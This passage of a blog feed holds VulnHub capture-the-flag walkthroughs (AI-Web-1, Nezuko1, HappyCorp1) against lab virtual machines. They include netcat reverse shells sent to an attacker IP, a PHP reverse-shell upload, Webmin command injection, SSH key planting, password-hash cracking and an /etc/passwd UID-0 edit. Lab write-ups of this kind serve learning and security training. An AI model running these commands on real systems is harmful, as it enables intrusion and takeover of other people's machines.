start.</p><p>This is when things get a little tricky.</p><p>With some trial and error, I eventually ended up going back to that info.php file we found earlier to discover a slightly unconventional root directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*MStvLwnuOI-sy2z2WAruEQ.png" /></figure><blockquote>/home/www/html/web1x443290o2sdf92213/</blockquote><p>The sqlmap ‘os-pwn’ option uploads a malicious payload, so I appended this strange root directory with our discovered uploads directory and saved it to a text file called ‘<strong>dirlist</strong>’ and used it with option 3 in our next prompt.</p><blockquote>/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Ro7nAEynlzknOj6LbnEGw.png" /></figure><p>And just when it looked like we were about to get a reverse tcp connection..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*nS-EV1SlhELZCd0e4z8IiA.png" /></figure><p>It failed!</p><p>I know what you are thinking. “I thought you said it took you a while but you got it right?” Well it did take a while and I sort of got it right.</p><p>One of the best things about sqlmap, aside from it automating mundane injection trial and error tasks for you, is it also shows you what it is doing.</p><p>When we look back at the logs we see this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HjxBmC5yam__FtVBEf9AJQ.png" /></figure><p>Which reveals a php script with an upload form.</p><blockquote><a href="http://172.16.186.206/se3reTdir777/uploads/tmpuanbs.php">http://172.16.186.206:80/se3reTdir777/uploads/tmpuanbs.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*7FqAoRBwwf_jpjSINlZlmg.png" /></figure><p>Ok this makes everything so much easier. We can turn to our favorite <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell"><strong>php-reverse-shell</strong> </a>script, and be good to go.</p><p>I modify the above script to point to my local IP address, 172.16.186.1 and port 7777 for good luck.</p><p>I saved the modified copy out as <strong>pop.php.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*vvAyyhcQUcOTDZxLFnMZDA.png" /></figure><p>I then fire up a listener on my local machine.</p><blockquote>nc -lvp 7777</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*oTHrUWGV58MaQ6zPdaOEhw.png" /></figure><p>Then using the upload form we just found I browsed to pop.php and upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*UuxnjByW5pULz59Skys5vg.png" /></figure><p>Ok, now the moment of truth. With our listener still running in the background terminal, we navigate over to pop.php.</p><blockquote>172.16.186.206/se3reTdir777/uploads/pop.php</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*hMmYhCyEZ8VaKovamz5KcQ.png" /></figure><p>BAM! we have a shell!</p><p>More Dancing.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FuykU30kb1CU%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DuykU30kb1CU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FuykU30kb1CU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/664742eb3d945d17fd07358c3346de6c/href">https://medium.com/media/664742eb3d945d17fd07358c3346de6c/href</a></iframe><h3>Moving on Up : Privilege Escalation</h3><p>Using our trusty python command we quickly spawn bash to get some nicer resemblance of an actual terminal and get our barrings.</p><blockquote>python -c “import pty;pty.spawn(‘/bin/bash’)”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*BbAkdA_OLzfOwv0uspiDDQ.png" /></figure><p>A lot of places to look here, but I decided to take a peak at the /etc/passwd file to see if those system users we found in the mysql database are actually users on this box.</p><blockquote>cat /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*7lRBe_KCRMC85fuH11fnRw.png" /></figure><p>As fate would have it, one is,! The user aiweb1pwn does in fact exist on this box.</p><p>Exciting!</p><p>Using the decrypted password we found for this user earlier,</p><blockquote>aiweb1pwn : MyEvilPass_f908sdaf9_sadfasf0sa</blockquote><p>we go ahead and try to switch users.</p><blockquote>su aiweb1pwn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*JyqgPnXFsztR_TZyv26ekg.png" /></figure><p>Great we are aiweb1pwn! But how do we get higher.</p><p>At this point I tried all the things on my privilege escalation cheat sheet and didn’t really come up with anything.</p><p>I also wasn’t finding any files, scripts, or what have you, that this users could run as root.</p><p>I was stuck and in all honesty I pinged the author on twitter. I told him were I was at and asked for a hint.</p><p>He told me to take a look at the /etc/ folder and look for non root things.</p><p>I laughed to myself at first. I was already there. Everything is owned by root or shadow, except the passwd file and anyone can see that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*lkunH30-1h6p9PDE2mIRrQ.png" /></figure><p>There isn’t anything there except our user names and permissions. The passwords are all stored in the shadow file that we can’t access.</p><p>Maybe the author didn’t realize that I already switched users.</p><p>Wait a minute, what is this?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*cED9CcoSYI2wVsWBj9ukhw.png" /></figure><p>User www-data can’t just read passwd, they frigg’n own it.</p><p>If I back out of my current user and back into www-data, I should be able to modify the passwd file in a way that gets me root access.</p><p>So I backed out to www-data and dug in.</p><p>I quickly realized that I couldn’t invoke nano or get vim to work properly with our limited shell, so I had to work with echo and append commands.</p><p>At first I tried adding new users with no password to the end of the file but I couldn’t get any of the new users to authenticate properly via the su command. Then I accidentally erased the passwd file all together, which might have been a blessing in disguise.</p><p>Luckily I still had the whole thing in my terminal logs so using echo [user line] &gt; passwd, I reconstructed the passwd to look like so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*bcB009wxXFNF2vwU3X_EkA.png" /></figure><p>I now have a passwd file that just has 3 users: root, www-data, and aiweb1pwn. There is one big difference though. The user aiweb1pwn use to read:</p><blockquote>aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh</blockquote><p>but now reads:</p><blockquote>aiweb1pwn:x:0:0:root:/root:/bin/bash</blockquote><p>The hope is, if we su back to aiweb1pwn now, we should have root access?</p><p>Fingers crossed…</p><blockquote>su aiweb1pwn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*Wjanv8pF0kdL-Y2681RV1w.png" /></figure><h3>Game Over : I am Root!</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FAjPau5QYtYs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DAjPau5QYtYs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FAjPau5QYtYs%2Fhqdefault.jpg&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/00e0e430eff7db149bc0f7307ad7d885/href">https://medium.com/media/00e0e430eff7db149bc0f7307ad7d885/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dce6221e25b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking : Nezuko1]]></title>
            <link>https://medium.com/@liddell.erik/hacking-nezuko1-f05f9a62a34d?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/f05f9a62a34d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Sun, 25 Aug 2019 02:23:43 GMT</pubDate>
            <atom:updated>2019-08-26T13:43:19.949Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking : Nezuko1</h3><p><em>Another VulnHub Capture The Flag Walkthrough.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yPVTVbrKeWFWe-Dnn3O1kg.jpeg" /></figure><p><strong>Introduction</strong></p><p>This post is part of a series of stories documenting my journey as I attempt to solve various <em>Capture The Flag </em>style hacking challenges.</p><p>The stories in this series are not meant to be <em>“How To Hack This Box”</em> tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.</p><p>Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.</p><p>At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯</p><h3>Let’s get Started : My Setup</h3><p>The challenge we are looking at in this post is the <a href="https://www.vulnhub.com/entry/nezuko-1,352/"><strong>nezuko: 1</strong></a><strong> </strong>virtual machine found on <a href="https://www.vulnhub.com/?source=post_page---------------------------"><strong>VulnHub</strong></a>.</p><p>Locally I am running the <a href="https://www.kali.org/?source=post_page---------------------------"><strong>Kali Linux</strong></a> operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on <em>vmnet8</em> and has an IP range of <em>172.16.186.1–255.</em> Obviously your IP range may be different.</p><p><em>Note: this particular VM had two network adapters in the settings and one was set to bridged, but I set them both to NAT (as my environment doesn’t play nice with VMs on the bridge network)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*URTUKpBxKXaaVwD_.png" /></figure><h3>First Things First : Recon</h3><p>First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following <a href="https://nmap.org/?source=post_page---------------------------"><strong>nmap</strong></a> command.</p><blockquote><em>nmap -sS 172.16.186.1/24</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*37XGFKlU16eD3_Ws5PA8Eg.png" /></figure><p>As I noted in the setup section of this post, there were two networks in this VM’s settings and accordingly we have two IP addresses as well. Both seem identical here as they both have a Website running on port <strong>80</strong> and an ssh service on port <strong>22.</strong></p><p>We of course go right to our browser and see that both IPs seem identical in that respect as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GuKAsux0FdX9eIkGdO4Brg.png" /></figure><p>Not much here at first glance. Just a pretty bare bones landing page, but never hurts to do a quick scan with nikto.</p><blockquote>nikto -h 172.16.186.202</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfHkuXVU49FGHOFomw3dEA.png" /></figure><p>Not much to see here either, so I took a quick look to see if the site had a robots.txt file. I wanted to see if it listed any other directories, but something strange happened.</p><p>Both IP addresses stopped responding to port 80 web requests.</p><p>I checked my VMware player and the machine seemed to be still running so I repeated the Nmap scan from earlier.</p><blockquote>nmap -sS 172.16.186.1/24</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*lYOWlJpYV0YKfemdkqqXxA.png" /></figure><p>Weird, the two IP addresses jumped up a few spots. I wonder if our scans somehow triggered that?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*jV2uX0vF0_KzCcm1tPYAFw.jpeg" /></figure><p>Moving along and checking the new IP addresses, we do confirm that they have a robots.txt file, but it is atypical. There are no ‘disallow’ directory listings, just this almost base64 looking string?</p><pre>NBUW45BAMZZG63JANZSXU5LLN4QDUIDUNBUXGIDJOMQG433UEB2GQZJAOJUWO2DUEBYG64TUEB2G6IDFNZ2W2ZLSMF2GKIC6O5PA====</pre><p>With not much else to go on at this point I couldn’t just leave this hash alone.</p><p>It has to be some sort of clue, but while it looks similar to base64 it is not! For one, it uses only capital letters, and there seems to be way too many equal signs. But because I’m stubborn perhaps, I tried to decode it as such any way.</p><blockquote>echo “NBUW45BAMZZG63JANZSXU5LLN4QDUIDUNBUXGIDJOMQG433UEB2GQZJAOJUWO2DUEBYG64TUEB2G6IDFNZ2W2ZLSMF2GKIC6O5PA====” | base64 -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbWCq8UM6AgtVHNvZ6dfWQ.png" /></figure><p>As expected, garbage! I googled my little but off at this point, and eventually came up with the idea that maybe it was base32? That’s when I found a site that decodes base32, <a href="https://emn178.github.io/online-tools/base32_decode.html">https://emn178.github.io/online-tools/base32_decode.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fzx9gX91ULA3MLwyCovyVw.png" /></figure><blockquote>hint from nezuko : this is not the right port to enumerate ^w^</blockquote><p>Ok so we were right. It was a hint and it was base32, but basically it told us we are barking up the wrong tree.</p><p>I decided to do a more thorough scan with zenmap, scanning all TCP ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j60bMo918mpAteg_qA9ILQ.png" /></figure><p>Whats this? Port 13337 is running another web server of sorts. Webmin 1.9.20? That could be interesting. I quickly throw that port at my browser to check it out and found that it just hung unless I made it an https request and overrode a security issue with it’s certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Q-MTm8i-4sZbkgRN5_f1LQ.png" /></figure><p>Bingo! We have an admin screen of some sort. A quick test with dummy credentials reveals nothing. It doesn’t give us any helpful error messages that might aid in enumerating usernames let alone brute forcing passwords. I also don’t know what Webmin is, so I googled it and immediately found this site: <a href="http://www.webmin.com/">http://www.webmin.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w9lvcG7Tv83jCxBAVPj-Ug.png" /></figure><p>And right there at the top of the page it reads as follows.</p><h3>Webmin 1.930 and Usermin 1.780 released</h3><p><em>These updates fix a </em><a href="http://www.webmin.com/security.html"><em>security vulnerability</em></a><em> and should be installed IMMEDIATELY by all users. Although it is not exploitable in a Webmin install with the default configuration, upgrading is strongly recommended.</em></p><p>Well that is convenient. Our version is <strong>1.920.</strong></p><p>So I researched this vulnerability and found this handy <a href="https://www.exploit-db.com/exploits/47293"><strong>script</strong></a> for testing it, on the exploit database website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8AHk0otFKw_0HVdIKc_hA.png" /></figure><p>While this script basically just spits out whether the site is vulnerable or not, it is a very simple script and we can easily interpret what is going on.</p><p>Basically it’s hitting one of the sites cgi scripts and injecting a string, then grepping to see if that string comes back in the response.</p><p>I copied the script to a file named webmin.sh and gave it a try.</p><blockquote>sh webmin.sh <a href="https://172.16.186.204/">https://172.16.186.204</a>:13337</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*mw2hM4DBBCVf-5gEah63uQ.png" /></figure><p>Ok Great! It appears that the webmin version is vulnerable!</p><h3>Lets Pounce : Remote Code Execution</h3><p>While that script is at the surface just a vulnerability scanner, it pretty much has done all the hard work for us. We should be able to modify the flag to fire off a netcat reverse shell and be on our way.</p><p>I modified the script so that where the author is injecting an echo command we will instead inject a netcat reverse shell, pointing to our local IP on port 4444</p><blockquote>nc -e /bin/bash 172.16.186.1 4444</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sD8ooX1yFDv8lIBunYhvmg.png" /></figure><p>Then, in another terminal window, I started a listener on my local machine like so:</p><blockquote>nc -lvp 4444</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*gHvrWaeRnOY-oGwaANuzVg.png" /></figure><p>Finally we run the script again and Bingo! We have a shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*cCMJvhisrsS9dOPOnrZq_A.png" /></figure><p>Well sort of, we are logged into a shell as nezuko, but we don’t have any nice terminal action. My normal bag of tricks to get proper shell like using python,</p><blockquote>python -c “import pty; pty.spawn(‘/bin/bash’)”</blockquote><p>don’t seem to do much for us, but we are in so lets look around shall we.</p><p>I navigated over to nezuko’s home directory where I found a text file with our name on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Qf7CEpuLz2Qh5AjOY3Uvw.png" /></figure><p>Viewing it reveals some familiar ascii art and what appears to be our first flag:</p><blockquote>Congratulations! You have found nezuko! Now, try to surpass your limit! Right here, right now…</blockquote><blockquote>1af0941e0c4bd4564932184d47dd8bef</blockquote><p>Obviously we are on the right path and now we must move on to post exploitation and privilege escalation.</p><h3>Rise Up : Privilege Escalation</h3><p>We poke around our home directory some more and find an interesting folder that seems to contain the same message coming from zenitsu every 5 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*q_XP9jcCdq2o1aScoVG2YA.png" /></figure><blockquote>nezuko chan, would you like to go on a date with me?</blockquote><p>Dude, probably not if you are going to ask every 5 minutes!?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*0QCIGHVQZcT_QphfwDQtzw.jpeg" /></figure><p>What else do we got? Going back to our home folder, we notice a .ssh folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*KmFOYt9BxDbeD-WuTpD-Mg.png" /></figure><p>In that folder is a nice “authorized_keys” file. In theory we could ad our own local public key to this and ssh into the box. That wouldn’t get us privilege escalation but it would certainly give us a much more proper terminal.</p><p>In another terminal window, I created a new ssh key on my local machine.</p><blockquote>ssh-keygen -t rsa</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*d9a6Jt86dnXKl0S0L9XWzw.png" /></figure><p>I named my keys, “hacker_keys” because, why not. I also left the password blank because where we are going, we don’t need no stinking passwords.</p><p>Using cat on hacker_keys.pub, we copy the contents.</p><blockquote>cat hacker_keys.pub</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tk8omqwho3yejEgZa1ZsVg.png" /></figure><p>Then back on our victem’s machine we will add our own key to the authorized keys.</p><blockquote>echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9G+DE91ylpnH2SWvAGrz7mAs7dPeXUg89852fmXrB1E8YeNv586ijYwxmuvNMVVwJuL9qEGahQlKrrNlRObE8wPUKPMQmTYBkRhQ2PyhjsZhZBcB8DgKDoHvQk0iqEF8tGEMx/15U0U4WlhESBVcM32aN3BFk5pbeltaC8M0NUy6GE1OK6F8YGpvPzfpo8tz5nWP1sSWOdAG0OYCvKtmVOeUPaA2n3R/UUMgS0H4xOqA4K1qQr8IH/i06VC6EC2SUcTMslQlxxPRh9kwOcqtPD6L9itHKMj5+tfjT1IYeVrExjOcBUl6FZpigO1r4i0x2t9+l58ljyoqRG6fWCVyZWkzgM4tOi9nop4n347PWed8oXlCdYwUFfyjrIWnqUAyQ+OLyAv8CqHy+0SeQ/R/43umlcwQKyDNPkc2w9UuRXWnt2FKV5KO8Byc7Ghd+kaif2T63fGrrjNGSWbTYg2UNuciT3oNGlGqqoSCsqyYdSUDrAqpC/aX/+q4k7hDjtlU= root@Kaida<br>“ &gt;&gt; authorized_keys</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J737oe24VFAKbay1_a6OpA.png" /></figure><p>It seems to have worked as we can now see two keys in that file. One of which is ours. Yay!</p><p>So in theory we should be able to ssh in to the victim’s machine as nezuko without any password using our own key. Let’s try shall we?</p><blockquote>ssh -i hacker_keys nezuko@172.16.186.204</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*WNpwlHHuwjbQvJvgnXkxfA.png" /></figure><p>Oh my god, that is so much better!</p><p>Ok so now that we have a proper terminal with ‘tab to complete&#39; and everything, lets continue with the task at hand, privilege escalation.</p><p>We still don’t know our own password so we can’t list sudo programs, so I decide to take a look at what users are on the machine.</p><blockquote>cat /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESknSJSCb_Cx7xl3bn8lKg.png" /></figure><p>Ok this was NOT expected!</p><p>While all of the users on this box apparently have their password hashes stored in the shadow file, indicated by the :x: next to each user, this doesn’t seem to be the case for our not so secret admirer, zenitsu.</p><p>I immediately got excited here because it gives me an excuse to fire up JoanClarke. That’s my 8 Nvidia GTX series GPU server running hashcat.</p><p>If you don’t have a GPU hashcat rig, you should be able to do the same with john the ripper, it might just take longer.</p><p>I copied the hash to a text file called <em>zenitsu.hash</em> on my hashcat rig and threw it at the classic rockyou.txt dictionary.</p><blockquote>$6$LbPWwHSD$69t89j0Podkdd8dk17jNKt6Dl2.QYwSJGIX0cE5nysr6MX23DFvIAwmxEHOjhBj8rBplVa3rqcVDO0001PY9G0</blockquote><blockquote>hashcat -m 1800 zenitsu.hash Documents/wordlists/SecLists/Passwords/rockyou.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*K9N0aiftejlT-Yo5lx890w.png" /></figure><p>Just 4 seconds later we know that zenitsu’s password is ‘meowmeow’.</p><p>Seriously, it took longer to load the dictionary into memory than it took to crack zenitsu’s password.</p><p>Ok, let’s become zenitsu.</p><blockquote>su zenitsu</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*LviBgx7E329Izm3jCgwNjw.png" /></figure><p>As expected we are zenitsu, and navigating over to his home directory we found our second flag.</p><blockquote>cat zenitsu.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hi6k_CvuCpg2LAPb7TaSvQ.png" /></figure><blockquote>Kaminari no kokyū, Ichi no kata…., Hekireki Issen!</blockquote><blockquote>3f2ada6791f96b6a50a9ee43ee6b62df</blockquote><p>Looking around further we see a folder called to_nezuko.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*2FlM_n8shSf9Md_fmgO1_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*ShM5NqOQNTDTDGmLQSsdpQ.png" /></figure><p>Inside we find a bash script that seems to be generating all those date requests we were getting every 5 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*7ROBuBS1-E67IAeB4GqAUA.jpeg" /></figure><p>What’s more is it looks like it can run as root and looking back at nezuko’s home directory, we can see more of these messages have been coming in since we left.</p><p>My guess is that root is running this script every 5 minutes.</p><p>Could we be this close to root already?</p><p>In theory all we have to do is modify the script to make another netcat reverse shell, and if we are correct, root will run the script within 5 minutes and bam! We are root.</p><p>I initially tried to open the script with nano, but quickly found out that I don’t have write permissions. But we do have ‘append’ permissions apparently.</p><blockquote>echo ‘nc -e /bin/bash 172.16.186.1 4444’ &gt;&gt; send_message_to_nezuko.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*LTHsxk7gXz0AUIcsfonUZg.png" /></figure><p>Then back on our local machine we fire up another listener and wait.</p><blockquote>nc -lvp 4444</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*fA-YLRCyBYBPXncx7uCP6A.png" /></figure><p>And wait.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pwrAmDFQUSnek6-YGwrKg.jpeg" /></figure><p>and wait..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYYPvKE02e_pPEw4oMyHAg.jpeg" /></figure><p>and wait…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1YOGYXPFQMiaYb7UGafQA.jpeg" /></figure><p>damn 5 minutes is a long time…</p><p>And eventually…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*HfI8j9iT0Ybg6IOhrOwDzg.png" /></figure><p>We are root!</p><blockquote>Congratulations on getting the root shell!<br>Tell me what do you think about this box at my twitter, <a href="http://twitter.com/yunaranyancat">@yunaranyancat</a></blockquote><blockquote>3ca33b8158d9dee5c35a7d6d793c7fd5</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7IaU7nAcaaE%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7IaU7nAcaaE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7IaU7nAcaaE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f82263de2c99fc4596ce677a480e1c0e/href">https://medium.com/media/f82263de2c99fc4596ce677a480e1c0e/href</a></iframe><h3>Game Over : I am Root!</h3><p>But then again I do have my 8 GPU hashcat rig, affectionately named JoanClarke, and newly found access to that /etc/shadow..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuDEOyQszfXoXDnaOK6KHw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f05f9a62a34d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking : HappyCorp1]]></title>
            <link>https://medium.com/@liddell.erik/hacking-happycorp1-de456a3f16a1?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/de456a3f16a1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Mon, 05 Aug 2019 03:54:09 GMT</pubDate>
            <atom:updated>2019-08-06T14:47:03.055Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking : HappyCorp1</h3><p><em>Another VulnHub Capture The Flag Walkthrough.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26e25Fo4rLbFeUdpdQU4Ew.jpeg" /></figure><p><strong>Introduction</strong></p><p>This is my forth post in a series of stories documenting my journey as I attempt to solve various <em>Capture The Flag </em>style hacking challenges.</p><p>The stories in this series are not meant to be <em>“How To Hack This Box”</em> tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.</p><p>Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.</p><p>At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯</p><h3>Let’s get Started : My Setup</h3><p>The challenge we are looking at in this post is the <a href="https://www.vulnhub.com/entry/happycorp-1,296/"><strong>Happy Corp 1</strong></a> virtual machine found on <a href="https://www.vulnhub.com/?source=post_page---------------------------"><strong>VulnHub</strong></a>.</p><p>Locally I am running the <a href="https://www.kali.org/?source=post_page---------------------------"><strong>Kali Linux</strong></a> operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on <em>vmnet8</em> and has an IP range of <em>172.16.186.1–255.</em> Obviously your IP range may be different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*tN7YFbKTLO9ORR-9.png" /></figure><h3>First Things First : Recon</h3><p>First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following <a href="https://nmap.org/?source=post_page---------------------------"><strong>nmap</strong></a> command.</p><blockquote>nmap -sS 172.16.186.1/24</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MEwRi7iJ3d3w8iogTdaPkA.png" /></figure><p>We now know that our target resides at 172.16.186.188 and is running the following services.</p><blockquote>PORT STATE SERVICE<br>22/tcp open ssh<br>80/tcp open http<br>111/tcp open rpcbind<br>2049/tcp open nfs</blockquote><p>There are so many potential vectors on this machine I decided to abbreviate the automated recon steps I usually take and just dive into each port.</p><h3>Port 80 : Shiny Happy People</h3><p>Where to begin? As juicy as that network file sharing looks on port 2049, I went with tradition and started with the web server on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-s-zjwB5tItbY5WyQehAg.png" /></figure><p>And aren’t we happy we did.</p><p>Looking around, the site is quite simple. It actually looks kind of familiar. I have seen this template before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aGlB_vRpmPA6TEpUBpiOFA.png" /></figure><p>Hey, look its Bernie! #FeelTheBurn, but otherwise ignoring any potential politics the author might be seeding here. This is Happy Corp after all. Moving along.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTeVbv-Ovvak8aYq8xsjEw.png" /></figure><p>Now normally I might immediately dig into that contact form, but I still have this gnawing feeling in my gut that I have seen this layout before. I just have to pause and do some more recon.</p><blockquote>nikto — host 172.16.186.188</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHICgsk6wY7-qFVK3NQCWA.png" /></figure><p>While I was expecting to see some indication of a Wordpress Site or something to account for that familiar template, I seemed to have stumbled on to something else.</p><p>Nikto seems to be very interested in this ‘<em>admin.php’</em> file it found via the site’s robots.txt file. It even calls out a specific vulnerability around remote admin access, <a href="https://www.exploit-db.com/exploits/2588">OSVDB-29786</a>.</p><p>I did a quick pass at a couple variations of the alleged vulnerability but didn’t yield anything interesting. At least at first glance they all just land me at a login prompt. But viewing the source code seems to give us a hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EyRaVp2TOtP9d0RsW6MVCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*rwF60eUXmY9GNdmF9fY3zg.png" /></figure><p>I don’t know how to take this really. Is the developer saying he couldn’t get a database working so he hard coded credentials into the php script. If so, SQL-Injection is probably not an option but its definitely time to fire up <a href="https://portswigger.net/burp"><strong>BurpSuite</strong>.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VebKJBA162Hd7kgOUD_CjA.png" /></figure><p>With the request in hand, I 